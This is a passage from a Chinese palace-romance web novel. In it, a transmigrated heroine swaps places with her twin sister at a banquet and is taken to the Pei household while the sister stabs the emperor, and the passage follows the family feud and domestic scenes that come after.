戚妤去的附近的宫室,能进宫赴宴,身份不可能低,因而供人歇息的宫室早早就布置好了。 戚妤揉着额头,她心烦意乱,进入殿内后直接躺在了软榻上稍做休息。 在手还放在额头上时,她竟然就这么睡了过去。 等再醒来时,宫室内出奇的静,戚妤起身,唤了声佩玖,不见回应,便往外走了两步。 忽然,她脚步一顿。 只见佩玖双眼紧闭,昏睡在内室的椅子旁。 戚妤在将佩玖摇醒和在出去看一看中选择了后者。 因为她现在的心情有些激动。 果然,外间的宫人也被迷晕了。 戚妤找来茶水,将室内燃着的香扑灭,一转身的功夫便遇见了推门而入的赵婉仪与菱角。 四目相对。 赵婉仪狠狠一愣。 计划出了最大的疏漏,最重要的人没有被迷晕,反而好好地站在她面前。 这让她如何是好? 戚妤有些尴尬,但她很快收拾好情绪,肯定道:“赵夫人,我知道你要做什么,我愿意配合你。” 太好了,还有赵婉仪在守住初心的走剧情。 赵婉仪不觉得戚妤会知道:“你真的知道?” 戚妤点了点头,忍不住露出些笑意。 赵婉仪确信了,戚妤一定不知道,不然她若知道自己是去刺杀乌时晏,断然不会这样。 裴谨喜欢戚妤,但戚妤明显是喜欢乌时晏多些。 赵婉仪没有叫出阿妤这个称呼:“娘娘,在裴府,菱角只听你的命令行事,在京中……” 戚妤:“有菱歌,你上次在信中提过。” “对,是她。” 戚妤与赵婉仪换了衣裳,一回生二回熟,戚妤这次扮作赵婉仪熟练的很。 她没有丝毫后怕,只有对即将出笼的喜悦。 第60章 菱角扶着戚妤, 从宫室匆匆离开。 今日有太多意外,譬如火没有烧起来夺走乌时晏的注意力,譬如他们的人无需将茶水撞到贵妃身上,贵妃自己就去了附近的宫室, 譬如贵妃娘娘并未昏睡过去, 反倒配合着他们行事。 菱角越想, 心情就越复杂。 在一处僻静的池边, 裴谨早已等候在此。 菱角对戚妤提前说了, 让她装作睡着的样子。 因菱角是赵婉仪的人, 出于对女主的信任, 戚妤乖乖照办。 双方甫一碰面,裴谨的目光就黏在了戚妤身上。 他确信,这就是戚妤,他不可能认错。 菱角道:“大人, 夫人不胜酒力,醉倒了。” 这自然是托词。 裴谨接过戚妤, 将人打横抱在怀里, 戚妤的一只手搭在他的肩上:“我知道了, 夫人这边由我亲自照看。” 这时离席虽然有些早, 但不算突兀。 菱角去唤来引路的宫人,带他们出宫。 在宫道上, 裴谨衣摆扬起,背影意气风发, 即便怀里抱着一个人, 也不见他的步子有任何减慢。 临至宫门口,甚至还有加快的趋势。 菱角不得不小跑跟上。 裴府的马车早早就候立着了,裴谨将人抱进马车内, 看也未看皇宫的方向:“回裴府。” 菱角上了马车,目光放在了戚妤身上。 她被赵婉仪派到戚妤身边,自然只用在戚妤身边听吩咐即可,至于裴大人的命令,也是可以无视的。 进入马车内,戚妤便顺势靠在了软枕上。 谁知裴谨却不太安分地将她搂进了怀里。 裴谨的视线从戚妤的脸庞,慢慢移到她搭在他肩上而露出的一段皓腕上,神情越发温和。 他有戚妤,自然有了跟陛下那时的好涵养,不嫉妒,不怨愤,也不必处心积虑只为见戚妤一面。 陛下觉得他是小人,殊不知,现在陛下也要当那个小人了。 听着裴谨咚咚直跳的心跳声,戚妤不得不“醒来”。 戚妤从裴谨怀里支起头,裴谨不假思索道:“夫人醒来了,头可还痛?” 她没真正的昏迷,自然听到了菱角说她醉酒一事。 但她身上一丝酒气也无,裴谨这样的人不可能闻不出来,但还顺着这个假的不能再假的理由,便只有一种可能。 今晚是裴谨与赵婉仪合谋的一场计划。 裴谨也不清白。 戚妤自看到裴谨,眼中便浮起困惑,她顺着裴谨的话缓缓道:“头不疼,但……” 裴谨抚着戚妤单薄的脊背,强调道:“夫人,从前的事是为夫做错了,不如重新开始,我们会和之前一样恩爱。” 戚妤顿时便意识到,裴谨并未失忆。 狗东西。 在裴谨明知她是戚妤,却说了这句话,便显得有些意味深长了。 裴谨做错的事,也唯有那件了。 更甚至,恢复记忆的裴谨也琢磨出了乞巧节在裴府的是她才是。 戚妤不想理裴谨,看向菱角。 菱角贴心道:“夫人还难受?不如奴婢给夫人按一按额头?” 戚妤嗯了一声,从裴谨怀里挣扎出来,躺在了菱角的腿上。 菱角也真的给戚妤慢慢揉起额头来。 裴谨抿唇,眼中失落不已。 戚妤会随遇而安,却不见得对他还报以之前的态度。 夜深,京中还在行驶的马车不多,马车一路平稳地回到了裴府。 下了马车,戚妤顿觉畅快了不少,只觉豁然开朗。 另一边,田文善收到消息的时候,便知道宫室起火不是场意外,毕竟这样一来,陛下会将他或李昌派出来处理此事。 一旦离开陛下身边,再有人想给他们递消息就要方便许多。 可田文善仍不明白,什么叫裴夫人与贵妃是一母同胞的亲姊妹。 但这不妨碍田文善以最快的速度赶回陛下身边。 自戚妤离开后,赵婉仪就拍醒了宫人,让他以她抱恙的理由去将陛下唤来。 谁人不知道贵妃在陛下心中的地位,更何况他刚刚又意外睡着,贵妃不迁怒已是他的幸事,现在听到吩咐,自然马不停蹄地去请陛下过来。 以至于一些不同寻常的地方宫人也忽略了。 譬如说平日若请陛下过来,都是佩玖姑娘过来吩咐的,譬如说娘娘身子不舒坦,只会让人先传太医,并不会去搅扰陛下。 赵婉仪摸着袖中的匕首,在铜镜前将自己的神情调整的与戚妤一般无二。 戚妤太好懂了,单纯直白到让人心生不忍。 田文善已经尽快赶到了,可他到时该发生的已经发生了,陛下心口生生受了一刀,却仍有余力攥紧女子的脖子,眼见着就要发狂将人掐死。 嘴里还忿恨不已道:“你与裴谨合谋,该死!” 乌时晏已经不想知道赵婉仪与他有什么仇什么怨,只仇恨赵婉仪竟然配合着裴谨将戚妤带出了宫。 戚妤现下可怀着孕,去裴府的马车异常颠簸,戚妤怎么受得住? 他就知道裴谨不会那么安分守己,可裴谨的大胆仍超乎他的想象。 他要先杀了赵婉仪,再杀裴谨。 电光火石间,田文善看着长相与贵妃一模一样的女子,似是终于明白了什么,怪不得裴夫人之前要与太后亲近。 她的真实目的,其实是要刺杀陛下! 田文善扑通一声跪下:“陛下,手下留情!赵婉仪与贵妃娘娘是亲姊妹!” 他不确定这样说有没有用,毕竟赵婉仪犯的可是弑君,一刀被陛下了解还算轻的。 乌时晏闻言,脸色大变,倏地松开手,他总算明白裴谨为什么要算计赵婉仪了。 赵婉仪本就悬空,此时松手,她猝不及防倒在地上,嘴里也咳出血沫。 她这时本应该咬舌自尽,让乌时晏泄愤也无处发泄。 筹谋了这么久,赵婉仪未预料到受了一刀的乌时晏还有可以杀人的余力。 可田文善的话她也听到了,她神情恍惚,竟有了贪生的念头。 戚妤是她的妹妹。 怪不得世间能有长的这么像的两个人。 至于田文善是如何得到这个消息,赵婉仪稍一思索就明白了。 是裴谨。 裴谨许是在她说出亲妹身上的胎记就猜到了,裴谨早已是戚妤的入幕之宾。 若事先她知道,绝不会将戚妤牵扯进来! 而赵婉仪能想到的,乌时晏如何不能料到。 能算计至此的,唯有裴谨。 乌时晏握紧拳,裴谨这一手,让他想杀赵婉仪也不能了。 当初裴谨算计反王余孽时,乌时晏只觉得他有功,此时这种不走露一丝风声的手段用到他身上,就没那么美妙了。 乌时晏沉声吩咐:“给赵婉仪喂软骨散,要让她寻死不能。” 乌时晏想立刻奔袭到裴府,至少先将戚妤带回他身边,那是他的贵妃,他的皇后,他未来太子的生母。 田文善见陛下的举动忙道:“陛下,您受了伤,不可出宫啊!奴才这就去传孟舍!” 太医自然没有办法用了。 陛下既然没有当场杀死赵婉仪,就预示着不想将此事闹大,若朝野皆知,赵婉仪就不得不死了。 乌时晏摸了把身上的血迹,知道无论如何他都不能带伤去见戚妤。 戚妤还怀着孕,若是见到他受惊,他就悔恨莫及了。 乌时晏只得先离开这里,让田文善与萧从将此事调查清楚。 天子一怒,皇宫上下戒严,一股胆战心惊的氛围蔓延开来。 佩玖不明所以地被困在昭阳殿,她醒来时就不见贵妃,问了御前的人,他们也只道有人行刺贵妃,因而贵妃现下在陛下那里。 陛下不想让任何人接近贵妃。 佩玖纵使觉得古怪,也没有办法。 直到凌晨窗户被敲醒,她开窗看见林七,连忙一股脑地将知道的告诉了林七。 佩玖忧心不已:“林七,娘娘会没事吧。” 林七神色平静:“会没事。” 思及这段日子贵妃总要给她塞银子,又听林二说昨晚贵妃与裴夫人小聚,再看宫中的态度,她大概知道娘娘在哪里了。 裴府。 戚妤进府后去的自然是蘅芜院。 秋葵已经等候多时,见人进来连忙上前奉茶。 秋葵与菱角点头致意。 现在夜已经深了,戚妤往床榻走去,见裴谨跟上来,她道:“大人晚上睡榻吧,就如从前一样,分床而眠。” 裴谨装模作样,她也不想惯着他。 回到从前,当然好,别以为她不知道他与赵婉仪是假夫妻。 只是赵婉仪为何要进宫,她却是不知道。 裴谨目露可怜,今晚他是最大的人生赢家,却在戚妤面前竖不起任何威风。 “夫人,冬日榻冷,而且床都已经铺好了。” 戚妤已经感受到了蘅芜院不同于其他地方的暖和,知道这是铺了地龙。 她笑道:“那就去其他房间睡。” 裴谨转而道:“为夫觉得睡榻也不错。” 至少睡榻还能与戚妤共处一室。 戚妤折腾了这么久,已经很累了,在秋葵和菱角的照料下沐浴入睡。 裴谨让人出去,将灯灭掉后,也老老实实窝在榻上,并未逾矩。 因为他知道,在榻上睡一觉也许能赢得戚妤的怜悯,若是不要脸的贴上去,反而让人生气。 这一晚,裴府风平浪静。 清晨,见裴谨仍与她形影不离,戚妤疑惑问:“大人不去上值吗?” 裴谨:“今日休沐,且我连着告了五日假。” 五日后又是休沐,他足足能陪戚妤七天。 而戚妤,则在琢磨着如何在裴府合理病逝死遁。 赵婉仪给她留的菱角太关键了。 戚妤用过早膳,借口想吃酥香记的糕点,将裴谨支开后,她问菱角:“可有什么药能让人看起来病怏怏的?” 菱角问:“夫人是想离开?” 若真是这样,无怪乎堂堂贵妃,愿意与一个臣子夫人相换了。 实际上,贵妃可能连呆在裴府的想法都没有,她或许是想出京。 戚妤点了点头,这么说也不错。 菱角:“这种药是有,可大人在,谁又能将夫人您带走呢?” 戚妤也很苦恼,这时,她听到了瓦片被踩动的声音。 她眼睛一亮:“只要能将药给我送来,我就有办法离开。” 菱角应下:“奴婢需要两日。” 戚妤重重点头。 菱角离开后,戚妤见四下无人,才弯唇将窗户打开。 寒风扑面脸,但戚妤更在乎的是站在她面前的林七。 幸而窗户外是一个狭窄的过道,没什么人从这儿经过。 戚妤意外极了:“林七,你怎么找来了?” 林七舒了口气道:“我猜到娘娘在这里,我的职责便是保护娘娘安危。” “宫中可发生了什么事?” 林七思索片刻道:“宫中隐隐流传着一则消息,娘娘您与赵婉仪是亲姊妹。” 事实上,这个消息好像是特意传出来的。 大抵是陛下的手笔。 戚妤不由疑惑。 她怎么会和女主扯上关系呢,她工具属性十足,等等……按原剧情她能那么潇洒死遁,远离京中风云,若多一层这样的身份反倒合理。 毕竟对皇室阴私知道的多了,乌时晏那样的人怎么可能不灭口,反而去赌一个潇洒在外的人能够守口如瓶。 思来想去,也只有赵婉仪身为女主,是她替她挡下了一切。 原剧情中女配委实太顺利了。 但在昨晚,赵婉仪与她相遇,不像是知道这件事的人。 与林七确认过平安,戚妤就回到了椅子上。 被支走的秋葵进来,端来了戚妤想喝的甜粥。 只是平日最喜欢的东西,现在却让她有些食不下咽。 昨日宴席也是,明明是她喜欢喝的,却在喝了一口后,再无胃口。 她原以为只是昨晚紧张,才没食欲,原来是口味变了吗? 戚妤放下了勺子,让秋葵将粥端了下去。 未几,裴谨拎着糕点回来了。 他紧赶慢赶,生怕戚妤将他支开是为了见陛下,若那样,他真是有说不出的委屈。 但戚妤少有央派他的时候,只是让他亲自去买,这让他如何拒绝? 好在,府内不见任何异样。 “夫人,我回来了!”裴谨将糕点拿出来,酸的甜的咸的都有。 戚妤让裴谨买糕点,自然只是借口,但糕点摆在桌上,她却忽然有了食欲。 裴谨见此笑了起来。 “夫人若想吃,明日我还亲自去买。” 戚妤看了裴谨一眼,即便是这样,裴谨今晚也是要睡榻的。 因为打定主意要离开,她对裴谨说谎了这件事倒没有很深的怨愤。 之后菱角再出现后,戚妤特意问了她与赵婉仪是亲姐妹这件事是不是谣传。 菱角闻言面上一空:“我们都不知道这件事。” 若是知道,赵婉仪昨晚遇见戚妤,怎会不多说几句话。 戚妤尚不知道这件事带来的后果,因此还算安然。 另一边只能躺在龙床上的乌时晏却不算好了。 他心口中了一刀,幸而他反应及时,险险避开,刀刃得以偏移,不然昨晚能不能站住还是两说。 这是乌时晏第一次受的差点丧命的伤,以往没有人能持利刃近他的身。 他昨晚听闻戚妤抱恙,宫人又说的模糊不清,加上戚妤怀孕,他就有些急了,疏忽大意之下只看到了那张神似的侧脸,心口便中了一刀。 那刀上其实还涂了毒,但事后孟舍说,他原本中过寒毒,误打误撞,刀上的毒延缓发作了。 孟舍为他解了毒,不过卧床静养却是避免不了。 但乌时晏如果那么听话就不是他了,见伤口被包扎好,他便掀开锦被,准备离开,谁知走了几步,轰然倒地。 孟舍压根没走,他就知道陛下会这样,听到声音长叹了一句就赶忙快步进来了。 于是乌时晏被困寝宫,只能着手调查昨日之事。 他不想让禁军围了裴府,因为那得师出有名,他不愿戚妤名声有损。 而且,种种迹象表明,戚妤昨晚是自愿与赵婉仪相换,代替赵婉仪回到裴府的。 虽然离开皇宫时,戚妤是被裴谨抱走的。 但与赵婉仪的丫鬟从宫室中出来,戚妤却是清醒着离开的。 林二是这样说的,裴夫人主仆安然离开,她自然认为贵妃好好呆在殿内,这才没有警觉。 再加上戚妤与赵婉仪断不掉的血缘关系,让乌时晏有了一个猜测。 戚妤意外与赵婉仪相认,得知她们家族与他的仇,但戚妤下不了手,也不想向他寻仇,因而让赵婉仪代替了她。 从赵婉仪曾经的种种,可以看出,她蛰伏在裴府,但从未有一丝动摇想弑君的想法。 而戚妤,乌时晏不相信她对他没有情。 种种的阴差阳错下,这才造就了今日的局面。 赵婉仪都能为了戚妤舍生忘死,让戚妤置身于这场谋算之外,再以裴夫人的名义活下去,他若围了裴府,岂不是连戚妤最后一条生路也断绝了? 他与戚妤之间,竟真横亘着世仇。 乌时晏翻开关于京城顾家的册子,彼时兴盛的顾家,确实是他抄的。 父皇并不想早早立下太子,大皇子即便占了长,又颇有贤明,被多方投效,父皇也只是封了大皇兄为宁王。 乌时晏十几岁时,宁王虽是他兄长,但已经三十有余,但奈何上面压着一个头脑还未糊涂的皇帝。 纵使宁王筹谋再多,皇帝不死,他手段施展不开,终究只是王爷。 但彼时,父皇已经容忍不了宁王日渐滔天的势力了,准备给宁王一个教训。 于是选来选去,当时处在世家前列,又是宁王一党的顾家首当其冲,各种罪名如雪花般飞入庙堂。 在夺嫡中,纵使顾家家主再洁身自好,再约束身边人,但世家大族的支脉盘根错节,并不是所有的顾家人都无欺男霸女贪赃枉法的过错,于是顾家理所应当的倒了。 最后的结果一定程度上是乌时晏促成的。 父皇教了他手段,他在为父皇对付宁王时增长了经验。 不然,在登基后他也不会将一个满目疮痍的天下治理的井井有条,再聪明的皇子,也需要人引路。 之后的事就是众所周知了,一个深受皇帝宠爱的七皇子,被百般手段逼出京城,也不算太冤。 顾家家主的子嗣不少,其中正妻生的一对双胞胎女儿深得他喜爱。 大的叫顾鸾,小的叫顾妤。 顾鸾,孤鸾,孤鸟,侧面印证了她孤独笃行的前半生,顾妤的妤,固然有原本的聪明伶俐之意,戚妤也确实是这样一个人,但也是婕妤的妤,一定程度上预示了她是为皇帝妃嫔的命运。 乌时晏也知道了顾妤为何会化名戚妤了,因为戚妤的母亲姓戚,来历已经不可考究。 当初,顾府提前得知消息,秘密将一双女儿送了出去。 赵婉仪跟赵氏姑父姑母离开,戚妤则跟着嬷嬷逃去河东郡,自此了无音讯,下落不明。 乌时晏无比清醒地意识到,是他害了戚妤家破人亡,既如此,他还有何颜面出现在戚妤面前,打着为她好的名义将她带回皇宫? 恐怕此时戚妤最不愿的就是见到他,和他呆在一起。 至于裴谨,他是年少时便与顾家姐妹相熟,这次乌时晏查的很细,自然也知道了,赵婉仪与裴谨是同门,因而那时,裴谨便有机会碰到戚妤。 裴谨与戚妤认识的时间,比他还早很多。 若裴谨打着青梅竹马的名义,戚妤即便不记得什么,也会与裴谨亲密许多。 乌时晏沉默了下来,嘴唇惨白不带一丝血色。 乌时晏无法想象,戚妤会以仇恨的目光看他,决绝地从他身旁离开。《 》 60-64 第61章 裴谨今晚还是没能如愿上床。 但下午时, 戚妤已经愿意和他对弈了,在他的喂棋下,戚妤对他露出了真切笑颜。 戚妤怪道:“大人棋艺这么差吗?” 裴谨脸上泛了丝红,之前在回行宫的路上, 他说自己骑射出色, 却被戚妤保护了, 他后在狩猎中夺得魁首, 证明了自己。 但现在, 却不能再证明了。 他情愿自己在棋艺上一直比戚妤弱。 戚妤并不在意自己棋艺不好, 她又不是纯正的古人, 不必太追求这方面的完美。 反正她只和裴谨下棋。 在临睡前,裴谨在床边唤道:“夫人?” 戚妤坐了起来,拉开床帐,青丝如绸缎般铺陈在后背, 她穿着雪白的里衣,却差了她肌肤一筹。 她料想过裴谨会再据理力争, 但见到裴谨后, 却发现裴谨只是很满足地看着她。 于是在戚妤晃神时, 裴谨在她额头落下了一吻:“和夫人共处一室, 我真的很开心。” 他想,如果这个夫人的称呼换成阿妤就更好了。 戚妤呆滞了一下, 反应过来后,裴谨便已退开, 帮她放下了床帐。 可恶, 走之前不玩一下裴谨,总觉得亏了。 戚妤躺在床上,为自己方才的迟钝懊悔不已。 翌日, 宫中并未传出什么消息,戚妤在廊下赏景,倒还算惬意。 裴谨又亲自去买来了些东西。 戚妤捡自己喜欢吃的尝了尝,裴谨在一旁记下戚妤的喜好。 这时,戚妤忽然递过来一块糕点。 裴谨怔愣过后咬了一口,酸的他整张脸都快皱起来了。 戚妤问:“好吃吧?” 裴谨摸不清这是不是蓄意报复,于是认定为戚妤的关心,他点头:“好吃。” 戚妤确实是在拉进与裴谨的距离,那么晚上允许裴谨上床就不算突兀。 明天托菱角寻来的药就到了,就是不知是立刻见效,还是循序渐进,所以事不宜迟,她觉得今晚就是个绝好的时机。 反正裴谨喜欢她不是吗? 戚妤将整个糕点喂完后,才继续吃自己的,她给裴谨选的恰是她最爱吃的。 裴谨吃完后,不动声色灌了好几杯茶水。 戚妤都喂到嘴边的东西,谁能拒绝? 下午,戚妤发现蘅芜院新修建了一个秋千,于是兴致勃勃地要去玩儿。 裴谨自然在她身边,离的比秋葵都要近。 在院中玩了一会儿,兴奋过后,戚妤才发现手指被冻僵了。 裴谨将戚妤搂进怀里,嘱咐道:“手放在我的腰上暖一暖。” 戚妤眼中带着些笑意的照办,只是暗中可惜男子的衣裳不能从中间掀开,不然她就可以摸一摸裴谨的腹肌了。 不过这样也很好。 在裴谨的外衣下,他的腰腹处暖烘烘的。 裴谨怎能察觉不到戚妤态度的软化,他想不到是什么原因导致的,但这不妨碍他得寸进尺。 等戚妤回到屋内时,便发现花瓶中被插上了腊梅,梅上还带着些小水珠。 她不由停下看了会儿。 裴谨悄悄牵住她的手:“裴府中有梅树,夫人想去看看吗?” 戚妤点了点头。 裴谨示意秋葵拿来披风,他为戚妤系好,又戴上兜帽后牵着她去了一个叫雪梅院的地方,院内除了一个小阁楼,均种满了梅。 裴谨道:“冬天下雪时,我母亲会来这里小住,父亲也会来陪她,只要打开窗,就能看到满院梅花盛开的样子,景色很美,我也想让夫人看一看。” 戚妤赞叹不已。 宫中的梅林自然大,但裴府的也不差,多了些雅致。 在赏梅途中,天边忽然飘起了雪花。 “下雪了。”戚妤伸出手,一小片雪花在她掌心融化。 裴谨握住她的手:“凉,我们去阁楼里赏雪。” 戚妤随他一同进去。 赏雪的时间过的很快,不知不觉,天色暗了下来,但在雪的反衬下,夜色相当明亮。 戚妤本来是支着下巴睡了会儿。 但裴谨见到了,他将戚妤一点点放到了怀里,让她枕着自己的胳膊睡,又拿自己的披风,为她挡住了些寒风。 最终秋葵举着伞,裴谨将人抱了回去。 从这里走回蘅芜院并不远,但绕是如此,戚妤的鞋面上还是落了雪。 裴谨将戚妤的披风与鞋袜脱下,将人塞进了早已暖好的床里。 他对秋葵吩咐道:“守着夫人。” 现在这个时辰,将戚妤叫起来用晚膳她也用不了多少,不如让戚妤多睡一会儿。 秋葵轻声应下。 裴谨离开去给戚妤煮姜汤。 等戚妤醒来时,发现裴谨正守在床边,见她醒来时,面上便带了一抹温润笑意。 戚妤坐起身,看着身处蘅芜院内,不由问:“你将我抱回来的?” 裴谨:“是。” “我让人做了姜汤,喝一些吧。” 戚妤接过姜汤,尝了一口,喃喃道:“好熟悉的味道。” 裴谨问她味道怎么样。 戚妤鼓了鼓脸颊:“好喝。” “是我做的。” 戚妤有些震惊地看向裴谨,在这个君子远庖厨的朝代,裴谨居然会煮姜汤。 太贤惠了。 裴谨亲了亲戚妤的脸颊:“夫人若想喝,为夫一直给夫人做。” 戚妤:“……” 她还没喝完就亲啊。 不过此时,恰好适合一鼓作气将裴谨拉上床。 戚妤连忙把姜汤喝完,将碗放到木几上。 “今晚我允许裴郎不睡榻了,你同意吗?” 裴谨脱下外衣,以实际行动证明道:“夫人,此事不必问我。” 戚妤笑倒进床里,眼眸亮亮的。 裴谨放下床帐,与戚妤闹作一团:“让我尝尝夫人方才喝的味道很好的姜汤。” 戚妤抿了抿唇:“没有了。” 裴谨望着戚妤亮晶晶的唇瓣:“怎么会?” 长长的一吻结束,这一吻打破了两人间的隔阂,戚妤觉得仿佛回到了在山下那个宅子里的日子。 戚妤轻轻踢了裴谨一下:“蜡烛没灭。” 裴谨道:“就让它一直燃吧。” 他都已经吃到肉里,哪还有从温柔乡里出来的毅力? 戚妤心道这样也能看清伤口,便拉了拉裴谨的衣角:“让我看看你腹部的伤口。” 裴谨从这句话便知道戚妤从头到尾都在担心他身上的伤,心中只觉一股暖流涌过。 “好的很快,痂都已经掉了。” 裴谨利索地解开衣带,将受伤的地方露了出来。 那么长的伤口,现在已经愈合了,伤口处留下了一道长长的疤,周围的肉还是粉的。 戚妤抚过这道疤,看了许久,才进入正题。 裴谨是一如即往的温柔,戚妤的手总不老实的落到裴谨腰腹处,只觉得落了疤后感觉手感更好了。 …… 忽然,裴谨带着些汗意的手握住了戚妤的手腕,片刻后,他猛的一顿。 “怎么了?”戚妤睁着水润润的眼眸看向他。 裴谨温柔道:“没什么,我换种方式帮夫人。” 他只是发现若运作得当,他要当爹了。 这个胎儿月份还小,谁能分得清这是谁的孩子? 等戚妤面露疲意,裴谨才作罢,他抱着戚妤,对着她的脸颊亲了又亲,像是怎么也不够似的。 外面晨曦微露,蜡烛也燃到了尽头,裴谨满是贪恋地唤道:“阿妤。” 戚妤装作没听到,沉沉睡了过去。 菱角说用两天找来药,果然没有食言。 她道:“夫人,这些药得熬煮成汁才能喝。” 戚妤点头,只好又等了一个时辰。 菱角将药端了上来。 裴谨恰好也在:“夫人在喝药?” 戚妤是真的支不开裴谨了,自昨夜之后,裴谨就特别黏她,况且这药也不可能藏的住。 戚妤大方回答:“天冷,这是大夫开的固元汤药。” 裴谨却是道:“夫人脸色红润,不必喝这些。” 戚妤分外坚定:“要喝。” 裴谨无法说明原因,戚妤若知道她怀孕,定能推出是乌时晏的,到时哪还有他的份。 但她怀孕,药是肯定不能乱喝的。 更何况戚妤无病无痛,喝药只会自寻烦恼。 裴谨一不做二不休,将药倒进了花盆里。 戚妤气急了:“你在干什么?” 裴谨却闻着药的味道,忽然说:“这药有些不对。” 戚妤眼睛瞬间变得清明,也不动怒了,也不气急败坏了,只想快速揭过此事。 她当然知道药不对啊。 “药渣呢?” 菱角无法,只能将药渣取来。 裴谨在吃过很多药后,自然而然会了些医术,比如把脉、辨认药材药方 检查过药渣后,裴谨一脸凝重:“这药会让人的身体迅速虚弱,并不是固元的药,之后都不必喝了。” 戚妤眨了眨眼:“许是遇见了庸医,不喝就不喝吧。” 她心痛的无以复加。 那么好的一碗药,她都准备好蜜饯了,结果裴谨说倒就给倒了。 “夫人你去哪儿?”裴谨让菱角将东西收走,便见戚妤离开了这里。 戚妤捂着心口:“心口痛,躺一躺。” 裴谨跟上,见戚妤一脸恍惚,后知后觉反应过来,他将药倒了好像违背了戚妤的意思。 而且,戚妤说遇见了庸医。 但皇宫中的太医,岂会是庸医? 若不是从太医手中得来的药方,那戚妤抓药是要做什么? 裴谨有些不敢想。 第62章 蘅芜院中, 戚妤坐在炉旁烤火,秋葵将番薯放在炉底,时不时拿着铁钳翻烤。 待到掰开后冒着热气,外焦里糯, 这才递到戚妤手上。 裴谨在戚妤吃完后给她擦了擦手:“夫人, 厨房买了些新鲜菜, 又吊了热乎乎的羊汤, 我们今晚吃古董羹吧。” 戚妤光是听着便口齿生津:“再片些肉烤一烤吧, 府上有调味的香料没有?” 裴谨一喜:“有。” 明明晌午已经吃过饭了, 但戚妤将一整个烤番薯吃完后, 就又开始惦念起晚膳来。 她以往猫冬只懒散了些,现在怕是要添一个馋了。 可是面对美食,谁能做到心如止水呢? 戚妤不觉得自己有些怪。 裴谨泛起发出心底的笑意在一旁作陪,他心知肚明这是什么原因, 但并未点破,好在戚妤迟钝了不少, 并未往自己有孕这方面这方面想。 除此之外, 戚妤意图从他身边离开则更让他心焦。 一碗让人短时间内虚弱, 却不会伤及根本的药就是最好的证明。 就像戚妤对皇宫毫无留恋, 可她对裴府,对蘅芜院又有多少不舍呢? 戚妤坐在藤椅上, 将手塞进了裴谨的怀里。 裴谨体热,又穿着棉衣锦服, 暖洋洋的。 在裴谨看向她时, 她眉眼弯弯,像是满心依赖,任谁都拒绝不得。 裴谨握着戚妤的肩膀, 见此只觉他们的心贴的更近了,近到他整颗心脏都烫了起来。 然而纵使如此,他却打心底升起股不安。 他们之间太浅薄了,远不如戚妤与陛下相处的时间,好似风一吹,就离散了。 裴谨紧紧将戚妤搂住,秋葵见此,退了出去,将这一方天地留给了二人。 戚妤瞪着裴谨,这人简直得寸进尺。 她藤椅大,又铺着绒毯,下一刻他是不是就来霸占她的椅子了? 裴谨望向戚妤的眼底,他可以发誓,他之前绝没有这个想法。 但是现在…… “娘子,挤一挤更暖和。” 戚妤郁闷不已,将位置让了出来。 裴谨将戚妤抱进了怀里,让自己来充当这个垫子。 戚妤靠在裴谨怀里,默默算裴谨还有几日上值。 上次乞巧节,乌时晏就以官署有事将裴谨调走了,现在却没任何消息。 以至于裴谨一直在她身边,她干什么都不方便。 戚妤觉得,自己不一定得病逝,只要离开裴府,一切就顺理成章了。 戚妤将一直在吃灰的系统调出来,光秃秃的系统面板只有这一个女配任务,还是个待完成的标识,其他一切都表明这是个人工智障。 这个系统唯一的用处大概是让她来到这里,然后凭借自己的努力睡到了两个滋味不错的男人。 戚妤在心底夸了夸自己,就这样不知不觉睡了过去。 等醒来时,她发现自己身上多了件厚厚的狐裘,挡住了太阳西落空气中的寒气。 再抬头,只见裴谨也睡着了。 睡熟了的裴谨,脸上仿佛蒙了层脆弱之感,眉头微蹙,像是心底藏着事。 戚妤的视线扫向裴谨的脸庞,心想大抵是与乌时晏有关吧,可他既然敢干,就该预想过后果,她是没什么怜惜与烦扰的。 戚妤欣赏起裴谨俊美的脸庞,直至片刻后裴谨睁开眼,看见戚妤,目光霎那间变得柔和起来。 “夫人。”他捏了捏戚妤柔软的脸颊。 戚妤支起身,狐裘半落在身上:“郎君,我饿了。” 裴谨听到这声郎君,心肝便不由自主颤了颤,脸上的笑也跟着不值钱起来:“怎么不将我喊醒?” 戚妤从裴谨身上爬起来,站定道:“郎君睡得熟,我不知怎得,竟有些不舍得。” 她是看裴谨的脸看得有些愣神了。 不过换作乌时晏,她也不会将人唤醒,裴谨并非梦魇,多睡会儿没什么不好的。 似真似假的真情才最是动人心。 裴谨怔愣了一下,凑过来低头吻上戚妤的唇。 晚膳的古董羹吃的戚妤很是满足,最后一碗甜汤下肚,四肢百骸都舒畅了起来。 白日戚妤眸中多清冷,等到了晚上就有多亮,像星子一样,亮晶晶地看向裴谨。 裴谨火气旺,她要他陪她睡! 这几天的时间裴谨只觉得过的格外快,他们一起看书下棋,品尝美食,他弹琴,戚妤鉴赏,虽然戚妤只会说好听,好听,分外好听,偶尔来几句如听仙乐耳暂明,但他也会因她认真的模样疏畅地笑起来。 因为这时的他们,就像真正的夫妻,温润的丈夫聪颖但有时迷糊的妻子,中间是插不进旁人的。 然而,不管多么珍惜,时间还是快速消逝,快的让人抓不住。 在要上值这日,裴谨穿上官服,在戚妤额头落下一吻,这才前往官署。 蘅芜院中,戚妤天亮时方醒,此时身旁已经凉透了,由此可知裴谨走的有多早。 戚妤起身梳洗过后,精神一振,裴谨上值意味着她离开的机会来了,于是当下便带着菱角往外走去。 她想试试离开裴府,是不是就意味着任务完成了。 还有可能是要离开京城。 戚妤要出府,田文善受命进来,双方就这么撞了个正着。 戚妤与田文善对视了一眼,田文善绷着脸,眼中尽显小心与为难。 得知贵妃原本姓顾,一切好似有了答案。 陛下无颜见贵妃,却又万分想念,只得让他来。 戚妤主动开口:“田公公可是有什么事?” 田文善大大松了一口气,掏出袖中的信,双手捧起递给了戚妤。 戚妤将信撕开,先看的是信尾,上面落的是乌时晏的私印,这才开始看信。 时间一点点流逝,田文善肉眼可见的紧张起来,寒冷的冬日,额上却蒙了层虚汗。 “我知道了,我会去见他。”戚妤将信看完,也察觉出了事情跟她预料的有所出入,乌时晏的落笔似乎谨慎到了极点,字字句句都是几经揣度。 田文善也是一副心虚的样子。 但无论怎样,见乌时晏一面还是没问题的。 乌时晏约她在茶楼相见,田文善随戚妤一同前往后停在了楼下,戚妤则带菱角上去。 戚妤推门而入,又反身将门合上,这才看向乌时晏。 室内只有乌时晏一人,他站在窗边,谁进茶楼都逃不过他的视线。 乌时晏心中默念着,果然在预料到的时间内听到门打开的声音,他抬头望过去,目光静默中带着丝忐忑。 戚妤露出了点笑意,并未走过去:“陛下,我想离开京城。” 